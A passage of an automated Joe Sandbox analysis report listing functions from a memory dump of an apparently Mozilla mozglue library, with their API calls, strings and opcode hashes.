memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C65B61E), ref: 6C65B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B79A

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction ID: 25f7ad8c1ce3fb9c4c211db8e93f4453b592f1bf7e2131b02846affe1d512b41
Opcode Fuzzy Hash: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction Fuzzy Hash: 5C41D5B2D001159FCB04DF68DC806AFB7B5FF85324F650669E825E7780E731A9148BE9

Function 6C65EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C6D5104), ref: 6C65EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C65EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65EFEC
free.MOZGLUE(?), ref: 6C65F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C65F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C65F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F065
moz_xmalloc.MOZGLUE ref: 6C65F072

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 49165111de3c03516b95465da52a387b2934844702cccbe047f897deb7366f25
Instruction ID: 25846d7eb8670091aa041ee8526c5cda146169a1046695fd6905bd7ecf1497d7
Opcode Fuzzy Hash: 49165111de3c03516b95465da52a387b2934844702cccbe047f897deb7366f25
Instruction Fuzzy Hash: 4441E9B1A001059FCB08CF68DC909AE7769FF85318B34062CE926D7794EB71E915C7EA

Function 6C6CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6CB5F4
__Init_thread_footer.LIBCMT ref: 6C6CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6CB61F
std::_Facet_Register.LIBCPMT ref: 6C6CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CB655

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction ID: 70af877dea57f0e7fc2c37128b4d8ba1b432833bcab7c8e056cdc96acfe85fe5
Opcode Fuzzy Hash: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction Fuzzy Hash: FB316F71B002058BCB00DFAAC8989AEB7F5EFCA325F150519D90697780DB31B906CF9E

Function 6C696590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6967C8

Part of subcall function 6C6A4290: memcpy.VCRUNTIME140(?,?,6C6B2003,6C6B0AD9,?,6C6B0AD9,00000000,?,6C6B0AD9,?,00000004,?,6C6B1A62,?,6C6B2003,?), ref: 6C6A42C4

Strings

vml, xrefs: 6C69696C
data, xrefs: 6C696593

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vml
API String ID: 511789754-3335688618
Opcode ID: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction ID: 20ff2b914093ae74997b57c34fa08c7436a05d9ac23ef9eda6ba70f89351a345
Opcode Fuzzy Hash: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction Fuzzy Hash: F9D1CE75A083419FD764CF25C840B9EB7E5AFC6308F10492EE58987B51EB30E949CB9B

Function 6C68D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C65EB57,?,?,?,?,?,?,?,?,?), ref: 6C68D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C65EB57,?), ref: 6C68D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C65EB57,?), ref: 6C68D673
free.MOZGLUE(?), ref: 6C68D888

Strings

|Enabled, xrefs: 6C68D81E
Wel, xrefs: 6C68D5D9, 6C68D63F

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wel$|Enabled
API String ID: 4142949111-1036103015
Opcode ID: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction ID: 73895f8debc637035f6ab12ae7658e5f5767ac23accadb84eb3d4b2661b4f139
Opcode Fuzzy Hash: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction Fuzzy Hash: 14A1F2B0A012499FDF10CF69C4907EEBBF1AF4A318F58805ED885AB741C734A845CBB9

Function 6C669830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C6B7ABE), ref: 6C66985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C6B7ABE), ref: 6C6698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C669909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C669918
free.MOZGLUE(?), ref: 6C669975

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: f19d462534e4bbb6d175180e6e170fe5ae577c7268c5f70edb45137fe5f94fa7
Instruction ID: 46417bebb58991fded83a11875da7326b8476b137f449c53d9d74f74598d94e6
Opcode Fuzzy Hash: f19d462534e4bbb6d175180e6e170fe5ae577c7268c5f70edb45137fe5f94fa7
Instruction Fuzzy Hash: 317169746047058FC725CF2AC480956B7F1FF4A328B284AADEC5A8BF90D771B845CB96

Function 6C66B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE), ref: 6C66B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B896

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 8d65663f517cc1ba9019aa32cdd5be14be6eb4379add72ea62ad780bd7f5b39b
Instruction ID: 660f9ae3e6eba31157b9b988089750c6d309a79bba48d77c940fe54830b8b717
Opcode Fuzzy Hash: 8d65663f517cc1ba9019aa32cdd5be14be6eb4379add72ea62ad780bd7f5b39b
Instruction Fuzzy Hash: B3516B35700600CFCB25CF5AC484A6ABBF5FF89318B69855DE98A87B51C731EC01DB89

Function 6C6A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A1DDA

Part of subcall function 6C6A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6A1F03
Part of subcall function 6C6A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6A1DF2,00000000,00000000), ref: 6C6A1F0C
Part of subcall function 6C6A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6A1DF4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction ID: 6237317cd5e8c4c48d03eaf6022813b837f2a5122011ce4a3e1288e701c1984f
Opcode Fuzzy Hash: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction Fuzzy Hash: 434167B52007019FCB10DF69C488A56BBF9FF89314F10442EE95A87B41DB31F855CB99

Function 6C6984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985AC

Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69767F
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C697693
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985B2

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction ID: b02f8cc00a9fe643691ff8c2603e189c6edef795f28809ea080049c642b51048
Opcode Fuzzy Hash: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction Fuzzy Hash: 7D218E742006029FDB14DF29C888A5AB7B5AF8930CF24492DE55BC3B51EB31F949CB59

Function 6C661640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C661699
VerSetConditionMask.NTDLL ref: 6C6616CB
VerSetConditionMask.NTDLL ref: 6C6616D7
VerSetConditionMask.NTDLL ref: 6C6616DE
VerSetConditionMask.NTDLL ref: 6C6616E5
VerSetConditionMask.NTDLL ref: 6C6616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6616F9

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction ID: 5ebc18347cdce2e6c4c196cc0c98d8f41758e16dacbf56acbe91b7dc95ca951f
Opcode Fuzzy Hash: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction Fuzzy Hash: AA21D5B07442086BEB105A66CC85FFBB37CDFC6704F044528F6459B5C0C675AD54C6AA

Function 6C69F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction ID: 0bd65e644daed088f08fe6fcc9a834646c2bc799f70e34fbc658b7f133535696
Opcode Fuzzy Hash: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction Fuzzy Hash: 4D119175201206ABCB44AF5AC8889A97779FFC6759F550416FA0583F01CB71B812CBAE

Function 6C662070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,6C661C5F), ref: 6C6620AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C6620CD
__Init_thread_footer.LIBCMT ref: 6C6620E1
FreeLibrary.KERNEL32 ref: 6C662124

Strings

CoInitializeSecurity, xrefs: 6C6620C7
combase.dll, xrefs: 6C6620A9

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: e8f587b255cae212813fd91fee88bd8eef02f1395703c1e31c8269927b05aa99
Instruction ID: f4ce16b3d5a78bfb26feb4f7e9c2fbc04e8641e78ab249c781a5bd2018ad1a11
Opcode Fuzzy Hash: e8f587b255cae212813fd91fee88bd8eef02f1395703c1e31c8269927b05aa99
Instruction Fuzzy Hash: 60218075200209EFDF11CF96DC88D9A3FB6FB5A355F008114FE0492A50D731A861DF6A

Function 6C6B76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C6B7705

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C6B778F,00000000,00000000,00000000,00000000), ref: 6C6B7731
free.MOZGLUE(00000000), ref: 6C6B7760

Strings

}>il, xrefs: 6C6B76C4

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>il
API String ID: 2538299546-1725928026
Opcode ID: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction ID: 69dadac1c372adee9e4d185efa5b35e7bcfef7ba5702c5b4d1b166416e3f892e
Opcode Fuzzy Hash: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction Fuzzy Hash: C811C4B19042156BE710AF7A9C44BABBEE8EF46354F044439F848E7300E7709850C7F6

Function 6C661FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C661FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C661FFD
__Init_thread_footer.LIBCMT ref: 6C662011
FreeLibrary.KERNEL32 ref: 6C662059

Strings

CoCreateInstance, xrefs: 6C661FF7
combase.dll, xrefs: 6C661FD9

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 9276836da43abd49761e2cc01e4bc187bf8a0a87d9952ce7f783d7e40b5f3dcd
Instruction ID: 2840f0e83cf32e1256705947131910d522cbb3e7114f0a2544195fc75f5e4389
